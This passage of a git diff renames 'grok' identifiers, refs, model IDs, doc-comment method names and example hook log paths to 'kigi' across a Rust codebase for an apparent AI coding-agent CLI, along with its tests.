-/// `ref_name` must be a fully-qualified ref (e.g. `refs/grok/subagents/<id>`);
+/// `ref_name` must be a fully-qualified ref (e.g. `refs/kigi/subagents/<id>`);
 /// it is overwritten unconditionally. The worktree must have a valid `HEAD`
 /// (subagent worktrees are detached at their base commit), which becomes the
 /// snapshot commit's parent (provenance only).
@@ -301,8 +301,8 @@ fn snapshot_worktree_to_ref_inner(
     message: &str,
 ) -> Result<String> {
     // Synthetic identity scoped to this call so it is never written to git config.
-    const NAME: &str = "Grok Snapshot";
-    const EMAIL: &str = "grok-snapshot@example.com";
+    const NAME: &str = "Kigi Snapshot";
+    const EMAIL: &str = "kigi-snapshot@example.com";
 
     // Stage against a throwaway index so the worktree's real index is untouched.
     let scratch = ScratchIndexGuard {
@@ -690,7 +690,7 @@ mod tests {
         std::fs::write(wt.join("tracked.txt"), "edited").unwrap();
         std::fs::write(wt.join("untracked.txt"), "brand new").unwrap();
 
-        let ref_name = "refs/grok/snapshots/test";
+        let ref_name = "refs/kigi/snapshots/test";
         let snap = snapshot_worktree_to_ref(&wt, ref_name, "snapshot test").unwrap();
         assert!(!snap.is_empty());
 
@@ -738,7 +738,7 @@ mod tests {
         std::fs::write(wt.join("ignored.txt"), "secret").unwrap();
         std::fs::write(wt.join("kept.txt"), "keep me").unwrap();
 
-        let ref_name = "refs/grok/snapshots/ignored";
+        let ref_name = "refs/kigi/snapshots/ignored";
         snapshot_worktree_to_ref(&wt, ref_name, "ignore test").unwrap();
 
         let listing =
@@ -776,7 +776,7 @@ mod tests {
         // Edit the tracked-but-ignored file in the worktree.
         std::fs::write(wt.join("config.env"), "v2").unwrap();
 
-        let ref_name = "refs/grok/snapshots/tracked-ignored";
+        let ref_name = "refs/kigi/snapshots/tracked-ignored";
         let snap = snapshot_worktree_to_ref(&wt, ref_name, "tracked-then-ignored").unwrap();
 
         // A file tracked in HEAD must survive even though it matches .gitignore,
@@ -806,7 +806,7 @@ mod tests {
         std::fs::write(repo_path.join("tracked.txt"), "original").unwrap();
         git_commit_all(&repo_path, "initial");
 
-        let ref_name = "refs/grok/snapshots/clean";
+        let ref_name = "refs/kigi/snapshots/clean";
         let snap = snapshot_worktree_to_ref(&repo_path, ref_name, "clean snapshot").unwrap();
 
         let snap_tree =
@@ -823,7 +823,7 @@ mod tests {
         kigi_test_utils::require_git!();
         let temp = TempDir::new().unwrap();
         let (_repo, wt) = repo_with_worktree(&temp);
-        let ref_name = "refs/grok/snapshots/overwrite";
+        let ref_name = "refs/kigi/snapshots/overwrite";
 
         std::fs::write(wt.join("tracked.txt"), "first").unwrap();
         let snap1 = snapshot_worktree_to_ref(&wt, ref_name, "first").unwrap();
@@ -851,7 +851,7 @@ mod tests {
 
         std::fs::write(wt.join("tracked.txt"), "edited").unwrap();
         std::fs::write(wt.join("untracked.txt"), "brand new").unwrap();
-        let ref_name = "refs/grok/snapshots/survives";
+        let ref_name = "refs/kigi/snapshots/survives";
         let snap = snapshot_worktree_to_ref(&wt, ref_name, "pre-removal").unwrap();
 
         // Delete the worktree dir; the snapshot lives in the shared object/ref store.
@@ -895,7 +895,7 @@ mod tests {
             !before.is_empty(),
             "precondition: there are pending changes"
         );
-        snapshot_worktree_to_ref(&wt, "refs/grok/snapshots/noindex", "no mutate").unwrap();
+        snapshot_worktree_to_ref(&wt, "refs/kigi/snapshots/noindex", "no mutate").unwrap();
         let after = git_capture_in(&wt, &["status", "--porcelain"], &[]).unwrap();
 
         assert_eq!(
@@ -916,7 +916,7 @@ mod tests {
         // A tracked file whose working-tree content has CRLF line endings.
         std::fs::write(wt.join("tracked.txt"), "line1\r\nline2\r\n").unwrap();
 
-        let ref_name = "refs/grok/snapshots/crlf";
+        let ref_name = "refs/kigi/snapshots/crlf";
         let snap = snapshot_worktree_to_ref(&wt, ref_name, "crlf").unwrap();
 
         // The snapshot blob must keep the raw CRLF bytes: our `-c
@@ -946,7 +946,7 @@ mod tests {
         let name = "λ space.txt";
         std::fs::write(wt.join(name), "x").unwrap();
 
-        let ref_name = "refs/grok/snapshots/unicode";
+        let ref_name = "refs/kigi/snapshots/unicode";
         snapshot_worktree_to_ref(&wt, ref_name, "unicode path").unwrap();
 
         // Read the tree with the same hardening (`core.quotepath=false`) so the
@@ -992,7 +992,7 @@ mod tests {
         std::fs::write(wt.join("lf.txt"), "a\nb\n").unwrap();
 
         let snap =
-            snapshot_worktree_to_ref(&wt, "refs/grok/snapshots/roundtrip", "round trip").unwrap();
+            snapshot_worktree_to_ref(&wt, "refs/kigi/snapshots/roundtrip", "round trip").unwrap();
         let base = git_capture_in(&repo_path, &["rev-parse", &format!("{snap}^")], &[]).unwrap();
 
         // Dispose of the worktree dir; only the ref/objects survive.
@@ -1054,7 +1054,7 @@ mod tests {
         // Build a PARENTLESS commit holding the same working state, so its `^`
         // never resolves — exercising the base-unreachable fallback without
         // depending on gc to prune a real base.
-        let snap = snapshot_worktree_to_ref(&wt, "refs/grok/snapshots/orphan-src", "src").unwrap();
+        let snap = snapshot_worktree_to_ref(&wt, "refs/kigi/snapshots/orphan-src", "src").unwrap();
         let tree = git_capture_in(&wt, &["rev-parse", &format!("{snap}^{{tree}}")], &[]).unwrap();
         let ident = [
             ("GIT_AUTHOR_NAME", "T"),
@@ -1100,7 +1100,7 @@ mod tests {
 
         std::fs::write(wt.join("tracked.txt"), "edited").unwrap();
         std::fs::write(wt.join("untracked.txt"), "brand new").unwrap();
-        let snap = snapshot_worktree_to_ref(&wt, "refs/grok/snapshots/idem", "idem").unwrap();
+        let snap = snapshot_worktree_to_ref(&wt, "refs/kigi/snapshots/idem", "idem").unwrap();
         crate::remove_worktree(&wt).unwrap();
 
         // First rehydrate recreates the dest dir.
@@ -1141,7 +1141,7 @@ mod tests {
         std::fs::write(wt.join("tracked.txt"), "edited").unwrap();
         std::fs::write(wt.join("untracked.txt"), "brand new").unwrap();
 
-        let ref_name = "refs/grok/subagents/standalone";
+        let ref_name = "refs/kigi/subagents/standalone";
         let snap = snapshot_worktree_to_ref(&wt, ref_name, "standalone snapshot").unwrap();
 
         // The snapshot lives only in the standalone's own `.git`, NOT in source.
@@ -1192,11 +1192,11 @@ mod tests {
         let temp = TempDir::new().unwrap();
 
         // Isolate the worktree DB (lock + KIGI_SHARE_DIR → private tmp + restore).
-        let fx = crate::db::GrokHomeFixture::new();
+        let fx = crate::db::KigiHomeFixture::new();
 
         let (repo_path, wt) = repo_with_worktree(&temp);
         std::fs::write(wt.join("tracked.txt"), "edited").unwrap();
-        let snap = snapshot_worktree_to_ref(&wt, "refs/grok/snapshots/db", "db test").unwrap();
+        let snap = snapshot_worktree_to_ref(&wt, "refs/kigi/snapshots/db", "db test").unwrap();
         crate::remove_worktree(&wt).unwrap();
 
         // Rehydrate into a UNIQUE-basename dest so its DB id can't collide with
diff --git a/crates/codegen/kigi-fast-worktree/src/mount_info.rs b/crates/codegen/kigi-fast-worktree/src/mount_info.rs
index ee4867b..844ec19 100644
--- a/crates/codegen/kigi-fast-worktree/src/mount_info.rs
+++ b/crates/codegen/kigi-fast-worktree/src/mount_info.rs
@@ -226,7 +226,7 @@ fn log_unknown_mount_ns_once() {
     if !LOGGED.swap(true, Ordering::Relaxed) {
         tracing::info!(
             "cannot read /proc/1/ns/mnt (likely non-root); treating mount namespace as \
-             non-private — overlay/bind strategies stay enabled. If grok is in a private \
+             non-private — overlay/bind strategies stay enabled. If kigi is in a private \
              namespace as non-root, worktrees may be ephemeral."
         );
     }
diff --git a/crates/codegen/kigi-fast-worktree/src/worktree/execute.rs b/crates/codegen/kigi-fast-worktree/src/worktree/execute.rs
index 1d27866..3838f19 100644
--- a/crates/codegen/kigi-fast-worktree/src/worktree/execute.rs
+++ b/crates/codegen/kigi-fast-worktree/src/worktree/execute.rs
@@ -220,7 +220,7 @@ pub(crate) fn execute_create_worktree(plan: WorktreePlan) -> Result<CreateWorktr
     Ok(result)
 }
 
-/// Record the source repo root in `<worktree>/.git/grok-worktree-source`.
+/// Record the source repo root in `<worktree>/.git/kigi-worktree-source`.
 ///
 /// A standalone worktree is an independent repo whose `.git` is a directory:
 /// nothing inside it points back to the source, so consumers like `.envrc`
@@ -234,7 +234,7 @@ fn record_main_repo_marker(source: &Path, worktree: &Path) {
     if !git_dir.is_dir() {
         return;
     }
-    let marker = git_dir.join("grok-worktree-source");
+    let marker = git_dir.join("kigi-worktree-source");
     if marker.exists() {
         return;
     }
@@ -1685,7 +1685,7 @@ mod tests {
 
         record_main_repo_marker(&source, &dest);
 
-        let marker = dest.join(".git/grok-worktree-source");
+        let marker = dest.join(".git/kigi-worktree-source");
         let recorded = std::fs::read_to_string(&marker).expect("marker should be written");
         assert!(
             Path::new(recorded.trim()).join(".git").is_dir(),
@@ -1704,7 +1704,7 @@ mod tests {
 
         record_main_repo_marker(&source, &dest);
 
-        assert!(!dest.join(".git/grok-worktree-source").exists());
+        assert!(!dest.join(".git/kigi-worktree-source").exists());
     }
 
     #[test]
@@ -1717,7 +1717,7 @@ mod tests {
 
         let dest = tmp.path().join("dest");
         std::fs::create_dir_all(dest.join(".git")).unwrap();
-        let marker = dest.join(".git/grok-worktree-source");
+        let marker = dest.join(".git/kigi-worktree-source");
         std::fs::write(&marker, "/the/ultimate/main/repo").unwrap();
 
         record_main_repo_marker(&source, &dest);
diff --git a/crates/codegen/kigi-file-utils/src/events/log.rs b/crates/codegen/kigi-file-utils/src/events/log.rs
index 87571b4..7d748ea 100644
--- a/crates/codegen/kigi-file-utils/src/events/log.rs
+++ b/crates/codegen/kigi-file-utils/src/events/log.rs
@@ -108,7 +108,7 @@ mod tests {
         writer.emit(Event::TurnStarted {
             session_id: "test-session".into(),
             turn_number: 1,
-            model_id: "grok-3".into(),
+            model_id: "kigi-3".into(),
             yolo_mode: false,
             conversation_message_count: 0,
             session_relationship: SessionRelationship::Primary,
diff --git a/crates/codegen/kigi-file-utils/src/events/types.rs b/crates/codegen/kigi-file-utils/src/events/types.rs
index f29ead4..57f3520 100644
--- a/crates/codegen/kigi-file-utils/src/events/types.rs
+++ b/crates/codegen/kigi-file-utils/src/events/types.rs
@@ -462,7 +462,7 @@ pub enum Event {
 #[derive(Debug, Clone, Copy, Serialize)]
 #[serde(rename_all = "snake_case")]
 pub enum InterjectionSource {
-    /// Direct `x.ai/interject` while a turn was running (Ctrl+Enter).
+    /// Direct `kigi/interject` while a turn was running (Ctrl+Enter).
     Direct,
     /// A queued (not-yet-running) prompt promoted into the running turn via
     /// `InterjectQueuedPrompt` (queue "send now").
@@ -477,7 +477,7 @@ pub enum InterjectionSource {
 #[derive(Debug, Clone, Copy, Serialize)]
 #[serde(rename_all = "snake_case")]
 pub enum RedirectKind {
-    /// Mid-turn interjection — Ctrl+O / `x.ai/interject`, or "Send now" on a
+    /// Mid-turn interjection — Ctrl+O / `kigi/interject`, or "Send now" on a
     /// queued row. The turn keeps running; nothing is cancelled.
     Interjection,
     /// The turn was aborted (Ctrl+C / Esc) and the user then typed and sent a
@@ -696,7 +696,7 @@ mod tests {
         let with_kind = serde_json::to_value(Event::TurnStarted {
             session_id: "s".into(),
             turn_number: 2,
-            model_id: "grok-4".into(),
+            model_id: "kigi-4".into(),
             yolo_mode: false,
             conversation_message_count: 3,
             session_relationship: SessionRelationship::Primary,
@@ -710,7 +710,7 @@ mod tests {
         let normal = serde_json::to_value(Event::TurnStarted {
             session_id: "s".into(),
             turn_number: 1,
-            model_id: "grok-4".into(),
+            model_id: "kigi-4".into(),
             yolo_mode: false,
             conversation_message_count: 0,
             session_relationship: SessionRelationship::Primary,
@@ -745,26 +745,26 @@ mod tests {
             attempt: 2,
             consecutive_failures: 6,
             every: 3,
-            model_id: "grok-4".to_string(),
+            model_id: "kigi-4".to_string(),
         };
         let v = serde_json::to_value(&ev).unwrap();
         assert_eq!(v["type"], "goal_strategist_fired");
         assert_eq!(v["attempt"], 2);
         assert_eq!(v["consecutive_failures"], 6);
         assert_eq!(v["every"], 3);
-        assert_eq!(v["model_id"], "grok-4");
+        assert_eq!(v["model_id"], "kigi-4");
     }
 
     #[test]
     fn goal_summarizer_events_serialize_tag_and_fields() {
         let fired = Event::GoalSummarizerFired {
             attempt: 2,
-            model_id: "grok-4".to_string(),
+            model_id: "kigi-4".to_string(),
         };
         let v = serde_json::to_value(&fired).unwrap();
         assert_eq!(v["type"], "goal_summarizer_fired");
         assert_eq!(v["attempt"], 2);
-        assert_eq!(v["model_id"], "grok-4");
+        assert_eq!(v["model_id"], "kigi-4");
 
         let completed = Event::GoalSummarizerCompleted {
             attempt: 2,
@@ -792,7 +792,7 @@ mod tests {
         let ev = Event::GoalRoleModelResolved {
             role: "skeptic",
             skeptic_idx: Some(2),
-            model_id: "grok-4".to_string(),
+            model_id: "kigi-4".to_string(),
             agent_type: "general-purpose".to_string(),
             source: "remote",
         };
@@ -800,7 +800,7 @@ mod tests {
         assert_eq!(v["type"], "goal_role_model_resolved");
         assert_eq!(v["role"], "skeptic");
         assert_eq!(v["skeptic_idx"], 2);
-        assert_eq!(v["model_id"], "grok-4");
+        assert_eq!(v["model_id"], "kigi-4");
         assert_eq!(v["agent_type"], "general-purpose");
         assert_eq!(v["source"], "remote");
     }
@@ -810,7 +810,7 @@ mod tests {
         let ev = Event::GoalRoleModelResolved {
             role: "planner",
             skeptic_idx: None,
-            model_id: "grok-4".to_string(),
+            model_id: "kigi-4".to_string(),
             agent_type: "general-purpose".to_string(),
             source: "remote",
         };
diff --git a/crates/codegen/kigi-file-utils/src/s3.rs b/crates/codegen/kigi-file-utils/src/s3.rs
index 4f05723..22e21a9 100644
--- a/crates/codegen/kigi-file-utils/src/s3.rs
+++ b/crates/codegen/kigi-file-utils/src/s3.rs
@@ -21,7 +21,7 @@ fn parse_aws_credentials(content: &str) -> anyhow::Result<aws_sdk_s3::config::Cr
             &parsed.aws_secret_access_key,
             parsed.aws_session_token,
             None,
-            "grok-shell-trace-upload",
+            "kigi-shell-trace-upload",
         ));
     }
 
@@ -51,7 +51,7 @@ fn parse_aws_credentials(content: &str) -> anyhow::Result<aws_sdk_s3::config::Cr
             &s,
             token,
             None,
-            "grok-shell-trace-upload",
+            "kigi-shell-trace-upload",
         )),
         _ => anyhow::bail!(
             "AWS credentials are neither valid JSON \
@@ -109,7 +109,7 @@ pub(crate) async fn build_s3_client(
             "test",
             None,
             None,
-            "grok-shell-test",
+            "kigi-shell-test",
         ));
     }
 
diff --git a/crates/codegen/kigi-file-utils/src/workspace_classifier.rs b/crates/codegen/kigi-file-utils/src/workspace_classifier.rs
index e07167d..50c16eb 100644
--- a/crates/codegen/kigi-file-utils/src/workspace_classifier.rs
+++ b/crates/codegen/kigi-file-utils/src/workspace_classifier.rs
@@ -252,7 +252,7 @@ mod tests {
         use super::*;
 
         #[test]
-        fn grok_dirs_are_unsafe() {
+        fn kigi_dirs_are_unsafe() {
             if let Some(home) = dirs::home_dir() {
                 assert!(!is_project_dir(&home.join(".kigi")));
                 assert!(!is_project_dir(&home.join(".kigi/bin")));
@@ -260,7 +260,7 @@ mod tests {
         }
 
         #[test]
-        fn grok_prefixed_dirs_are_unsafe() {
+        fn kigi_prefixed_dirs_are_unsafe() {
             if let Some(home) = dirs::home_dir() {
                 assert!(!is_project_dir(&home.join(".kigi-proxy-work")));
             }
diff --git a/crates/codegen/kigi-fsnotify/examples/watch_stats.rs b/crates/codegen/kigi-fsnotify/examples/watch_stats.rs
index 4c51326..e5a7fa9 100644
--- a/crates/codegen/kigi-fsnotify/examples/watch_stats.rs
+++ b/crates/codegen/kigi-fsnotify/examples/watch_stats.rs
@@ -14,7 +14,7 @@
 //! Tree shapes are scaled replicas of synthetic large-repo measurements:
 //! - `js`: a JS/turbo monorepo where `node_modules/` trees nested below the
 //!   top level dominate the directory count (the shape behind the original
-//!   "grok holds 55k inotify watches" report).
+//!   "kigi holds 55k inotify watches" report).
 //! - `large`: a wide multi-language monorepo — 44 top-level dirs, ~52k
 //!   non-ignored dirs, ~7k nested-ignored, a large top-level `target/`, and
 //!   a `.git` with 13k+ internal dirs (objects/modules/logs/refs-remotes).
diff --git a/crates/codegen/kigi-fsnotify/src/watcher.rs b/crates/codegen/kigi-fsnotify/src/watcher.rs
index 72f1fa4..180553d 100644
--- a/crates/codegen/kigi-fsnotify/src/watcher.rs
+++ b/crates/codegen/kigi-fsnotify/src/watcher.rs
@@ -3767,7 +3767,7 @@ mod tests {
         #[test]
         fn external_ancestor_sl_arms_in_recursive_root_mode() {
             // Subdir cwd whose `.sl` lives in an ancestor *outside* watch_path
-            // (e.g. `grok` run in `crates/codegen`): the production guard must
+            // (e.g. `kigi` run in `crates/codegen`): the production guard must
             // still attach the watch under a recursive root (fanout=false).
             let temp = TempDir::new().unwrap();
             let repo = dunce::canonicalize(temp.path()).unwrap();
diff --git a/crates/codegen/kigi-hooks-plugins-types/src/lib.rs b/crates/codegen/kigi-hooks-plugins-types/src/lib.rs
index d4697f6..c47678b 100644
--- a/crates/codegen/kigi-hooks-plugins-types/src/lib.rs
+++ b/crates/codegen/kigi-hooks-plugins-types/src/lib.rs
@@ -1,6 +1,6 @@
 //! Shared DTO types for hooks/plugins ACP extensions.
 //!
-//! This crate defines the wire format for `x.ai/hooks/*` and `x.ai/plugins/*`
+//! This crate defines the wire format for `kigi/hooks/*` and `kigi/plugins/*`
 //! ACP extension methods. It is dependency-free (only `serde`) so both
 //! `kigi-shell` and `kigi-tui` can depend on it without pulling
 //! in domain logic.
@@ -38,11 +38,11 @@ pub enum PluginOrigin {
     /// CLI `--plugin-dir`.
     CliOverride,
     /// Project `.kigi/plugins/`.
-    ProjectGrok,
+    ProjectKigi,
     /// Project `.claude/plugins/`.
     ProjectClaude,
     /// `$KIGI_SHARE_DIR/plugins/`.
-    UserGrok,
+    UserKigi,
     /// `~/.claude/plugins/`.
     UserClaude,
     /// A compat marketplace clone.
@@ -56,7 +56,7 @@ pub enum PluginOrigin {
         #[serde(default, skip_serializing_if = "Option::is_none")]
         marketplace: Option<String>,
     },
-    /// Grok's install registry (marketplace or direct git/local install).
+    /// Kigi's install registry (marketplace or direct git/local install).
     MarketplaceInstall {
         /// Marketplace source display name (None for direct installs).
         #[serde(default, skip_serializing_if = "Option::is_none")]
@@ -207,7 +207,7 @@ pub struct HookInfo {
     pub disabled: bool,
 }
 
-/// Response for `x.ai/hooks/list`.
+/// Response for `kigi/hooks/list`.
 #[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct HooksListResponse {
@@ -274,7 +274,7 @@ pub struct PluginInfo {
     pub conflict: Option<String>,
 }
 
-/// Response for `x.ai/plugins/list`.
+/// Response for `kigi/plugins/list`.
 #[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct PluginsListResponse {
@@ -332,7 +332,7 @@ pub struct McpServerInfo {
     pub config_source: Option<String>,
 }
 
-/// Response for `x.ai/mcp/list` as consumed by the pager.
+/// Response for `kigi/mcp/list` as consumed by the pager.
 #[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct McpServersListResponse {
@@ -513,7 +513,7 @@ impl PluginComponents {
 // Action types
 // ---------------------------------------------------------------------------
 
-/// Request wrapper for `x.ai/hooks/action`.
+/// Request wrapper for `kigi/hooks/action`.
 #[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct HooksActionRequest {
@@ -552,7 +552,7 @@ pub enum HooksAction {
     },
 }
 
-/// Request wrapper for `x.ai/plugins/action`.
+/// Request wrapper for `kigi/plugins/action`.
 #[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct PluginsActionRequest {
@@ -593,7 +593,7 @@ pub enum PluginsAction {
     },
 }
 
-/// Shared action response for both `x.ai/hooks/action` and `x.ai/plugins/action`.
+/// Shared action response for both `kigi/hooks/action` and `kigi/plugins/action`.
 #[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct ActionOutcome {
@@ -739,7 +739,7 @@ mod tests {
             mcp_server_count: 0,
             mcp_status: McpStatus::None,
             marketplace_source: None,
-            origin: Some(PluginOrigin::UserGrok),
+            origin: Some(PluginOrigin::UserKigi),
             conflict: None,
         };
         let json = serde_json::to_string(&plugin).unwrap();
@@ -756,9 +756,9 @@ mod tests {
     fn plugin_origin_serde_roundtrip_all_variants() {
         for origin in [
             PluginOrigin::CliOverride,
-            PluginOrigin::ProjectGrok,
+            PluginOrigin::ProjectKigi,
             PluginOrigin::ProjectClaude,
-            PluginOrigin::UserGrok,
+            PluginOrigin::UserKigi,
             PluginOrigin::UserClaude,
             PluginOrigin::ClaudeMarketplace {
                 marketplace: "mp".into(),
@@ -1094,10 +1094,10 @@ mod tests {
 }
 
 // ---------------------------------------------------------------------------
-// Marketplace types (wire format for x.ai/marketplace/* ACP endpoints)
+// Marketplace types (wire format for kigi/marketplace/* ACP endpoints)
 // ---------------------------------------------------------------------------
 
-/// Response for `x.ai/marketplace/list`.
+/// Response for `kigi/marketplace/list`.
 #[derive(Debug, Clone, Serialize, Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct MarketplaceListResponse {
@@ -1170,7 +1170,7 @@ pub struct MarketplacePluginEntry {
     pub remote_subdir: Option<String>,
 }
 
-/// Request wrapper for `x.ai/marketplace/action`.
+/// Request wrapper for `kigi/marketplace/action`.
 #[derive(Debug, Clone, Serialize, Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct MarketplaceActionRequest {
diff --git a/crates/codegen/kigi-hooks/Cargo.toml b/crates/codegen/kigi-hooks/Cargo.toml
index e6c1672..a63af93 100644
--- a/crates/codegen/kigi-hooks/Cargo.toml
+++ b/crates/codegen/kigi-hooks/Cargo.toml
@@ -3,7 +3,7 @@ license = "Apache-2.0"
 name = "kigi-hooks"
 version.workspace = true
 edition.workspace = true
-description = "Runtime hook system for Grok — file-based discovery, command execution, and policy enforcement"
+description = "Runtime hook system for Kigi — file-based discovery, command execution, and policy enforcement"
 
 [dependencies]
 fastrand = { workspace = true }
diff --git a/crates/codegen/kigi-hooks/examples/README.md b/crates/codegen/kigi-hooks/examples/README.md
index bf20f6f..9f94ade 100644
--- a/crates/codegen/kigi-hooks/examples/README.md
+++ b/crates/codegen/kigi-hooks/examples/README.md
@@ -1,6 +1,6 @@
 # Hook Examples
 
-Sample hooks for Grok. Copy to `~/.kigi/hooks/` to enable globally, or to `<project>/.kigi/hooks/` for project-scoped hooks (requires `/hooks-trust`).
+Sample hooks for Kigi. Copy to `~/.kigi/hooks/` to enable globally, or to `<project>/.kigi/hooks/` for project-scoped hooks (requires `/hooks-trust`).
 
 ## Available Examples
 
@@ -93,7 +93,7 @@ Hook files use the Claude-compatible JSON format:
 ```
 
 - **Event names:** `SessionStart`, `PreToolUse`, `PostToolUse`, `SessionEnd`
-- **Matcher:** regex on tool name. Claude names like `Bash`, `Read`, `Edit` are auto-expanded to also match Grok names (`run_terminal_cmd`, `read_file`, `search_replace`)
+- **Matcher:** regex on tool name. Claude names like `Bash`, `Read`, `Edit` are auto-expanded to also match Kigi names (`run_terminal_cmd`, `read_file`, `search_replace`)
 - **Timeout:** in seconds (default: 5)
 - **Command:** path to script (relative to hook file directory) or inline shell command
 
diff --git a/crates/codegen/kigi-hooks/examples/hooks/bin/no-recursive-grep-guard.py b/crates/codegen/kigi-hooks/examples/hooks/bin/no-recursive-grep-guard.py
index 8b75cb2..ee063fd 100755
--- a/crates/codegen/kigi-hooks/examples/hooks/bin/no-recursive-grep-guard.py
+++ b/crates/codegen/kigi-hooks/examples/hooks/bin/no-recursive-grep-guard.py
@@ -361,7 +361,7 @@ def main() -> None:
     command = extract_command(envelope)
     if command is None or not command_is_recursive(command):
         sys.exit(0)  # nothing to block -> silent allow
-    # Deny. Emit the grok-native decision (read by this repo's runner) and the
+    # Deny. Emit the kigi-native decision (read by this repo's runner) and the
     # Claude-style hookSpecificOutput for forward-compatibility, put the reason
     # on stderr for runners that surface it there, and exit 2 so any exit-code
     # based runner blocks too.
diff --git a/crates/codegen/kigi-hooks/examples/hooks/bin/session-log.sh b/crates/codegen/kigi-hooks/examples/hooks/bin/session-log.sh
index 67fe422..e335f61 100755
--- a/crates/codegen/kigi-hooks/examples/hooks/bin/session-log.sh
+++ b/crates/codegen/kigi-hooks/examples/hooks/bin/session-log.sh
@@ -2,7 +2,7 @@
 # session-log.sh — append session events to an audit log
 #
 # Reads the hook envelope from stdin and appends a one-line JSON entry
-# to ~/.grok/session-audit.log with event name, session ID, cwd, and
+# to ~/.kigi/session-audit.log with event name, session ID, cwd, and
 # timestamp.
 
 INPUT=$(cat)
@@ -12,7 +12,7 @@ SESSION=$(echo "$INPUT" | grep -o '"sessionId":"[^"]*"' | sed 's/"sessionId":"//
 CWD=$(echo "$INPUT" | grep -o '"cwd":"[^"]*"' | sed 's/"cwd":"//;s/"$//')
 TIMESTAMP=$(date -u +"%Y-%m-%dT%H:%M:%SZ")
 
-LOG_FILE="${HOME}/.grok/session-audit.log"
+LOG_FILE="${HOME}/.kigi/session-audit.log"
 mkdir -p "$(dirname "$LOG_FILE")"
 
 echo "{\"timestamp\":\"${TIMESTAMP}\",\"event\":\"${EVENT}\",\"session\":\"${SESSION}\",\"cwd\":\"${CWD}\"}" >> "$LOG_FILE"
\ No newline at end of file
diff --git a/crates/codegen/kigi-hooks/examples/hooks/bin/tool-logger.sh b/crates/codegen/kigi-hooks/examples/hooks/bin/tool-logger.sh
index 76f9fae..764af92 100755
--- a/crates/codegen/kigi-hooks/examples/hooks/bin/tool-logger.sh
+++ b/crates/codegen/kigi-hooks/examples/hooks/bin/tool-logger.sh
@@ -2,7 +2,7 @@
 # tool-logger.sh — log tool calls to a local activity file
 #
 # Reads the hook envelope from stdin and appends a one-line JSON entry
-# to ~/.grok/tool-activity.log with event name, tool name, and timestamp.
+# to ~/.kigi/tool-activity.log with event name, tool name, and timestamp.
 # `toolName` is the resolved tool (e.g. `linear__save_issue` for MCP calls).
 
 INPUT=$(cat)
@@ -12,7 +12,7 @@ TOOL=$(echo "$INPUT" | grep -o '"toolName":"[^"]*"' | head -1 | sed 's/"toolName
 BACKGROUNDED=$(echo "$INPUT" | grep -o '"isBackgrounded":[a-z]*' | sed 's/"isBackgrounded"://')
 TIMESTAMP=$(date -u +"%Y-%m-%dT%H:%M:%SZ")
 
-LOG_FILE="${HOME}/.grok/tool-activity.log"
+LOG_FILE="${HOME}/.kigi/tool-activity.log"
 mkdir -p "$(dirname "$LOG_FILE")"
 
 echo "{\"timestamp\":\"${TIMESTAMP}\",\"event\":\"${EVENT}\",\"tool\":\"${TOOL}\",\"backgrounded\":${BACKGROUNDED:-false}}" >> "$LOG_FILE"
diff --git a/crates/codegen/kigi-hooks/src/config.rs b/crates/codegen/kigi-hooks/src/config.rs
index e348ed2..3b5466e 100644
--- a/crates/codegen/kigi-hooks/src/config.rs
+++ b/crates/codegen/kigi-hooks/src/config.rs
@@ -15,7 +15,7 @@ use crate::matcher::HookMatcher;
 #[derive(Debug)]
 pub struct HooksMap {
     pub events: HashMap<HookEventName, Vec<MatcherGroup>>,
-    /// Event names present in the JSON but not recognized by Grok.
+    /// Event names present in the JSON but not recognized by Kigi.
     pub skipped_events: Vec<String>,
 }
 
diff --git a/crates/codegen/kigi-hooks/src/discovery.rs b/crates/codegen/kigi-hooks/src/discovery.rs
index c37df8f..561d38d 100644
--- a/crates/codegen/kigi-hooks/src/discovery.rs
+++ b/crates/codegen/kigi-hooks/src/discovery.rs
@@ -650,7 +650,7 @@ mod tests {
     fn load_from_settings_file_no_hooks_key() {
         let dir = tempfile::tempdir().unwrap();
         let settings = dir.path().join("settings.json");
-        std::fs::write(&settings, r#"{"theme": "dark", "model": "grok-3"}"#).unwrap();
+        std::fs::write(&settings, r#"{"theme": "dark", "model": "kigi-3"}"#).unwrap();
 
         let (registry, errors) =
             load_hooks_from_sources(&[HookSource::SettingsFile(&settings)], &[]);
diff --git a/crates/codegen/kigi-hooks/src/dispatcher.rs b/crates/codegen/kigi-hooks/src/dispatcher.rs
index 7dd7bc3..d8b1e26 100644
--- a/crates/codegen/kigi-hooks/src/dispatcher.rs
+++ b/crates/codegen/kigi-hooks/src/dispatcher.rs
@@ -20,7 +20,7 @@ pub struct PreToolUseResult {
 /// Hook failures (timeouts, crashes, command-not-found, env-var
 /// pre-spawn refusals, malformed output) are **fail-open**: the failure
 /// is logged and surfaced in the per-hook results for the UI scrollback,
-/// but the tool call continues as if the hook had allowed it. Grok
+/// but the tool call continues as if the hook had allowed it. Kigi
 /// runs in protected environments where induced-failure bypass of
 /// security hooks is not part of the threat model; the previous
 /// fail-closed posture over-blocked innocent tool calls when
diff --git a/crates/codegen/kigi-hooks/src/env_expand.rs b/crates/codegen/kigi-hooks/src/env_expand.rs
index f299bf6..a353303 100644
--- a/crates/codegen/kigi-hooks/src/env_expand.rs
+++ b/crates/codegen/kigi-hooks/src/env_expand.rs
@@ -63,7 +63,7 @@ use std::collections::HashMap;
 /// "Apple logo" PUA char) plus a long magic ASCII prefix. The full
 /// sentinel string adds 128 bits of per-call entropy as a hex suffix
 /// followed by another `U+F8FF` char.
-const SENTINEL_PREFIX: &str = "\u{f8ff}__GROK_HOOKS_MASK_";
+const SENTINEL_PREFIX: &str = "\u{f8ff}__KIGI_HOOKS_MASK_";
 const SENTINEL_SUFFIX: &str = "__\u{f8ff}";
 
 /// Build a per-call sentinel string used to hide modifier-form
@@ -704,7 +704,7 @@ mod tests {
     }
 
     /// An earlier sentinel was a fixed string
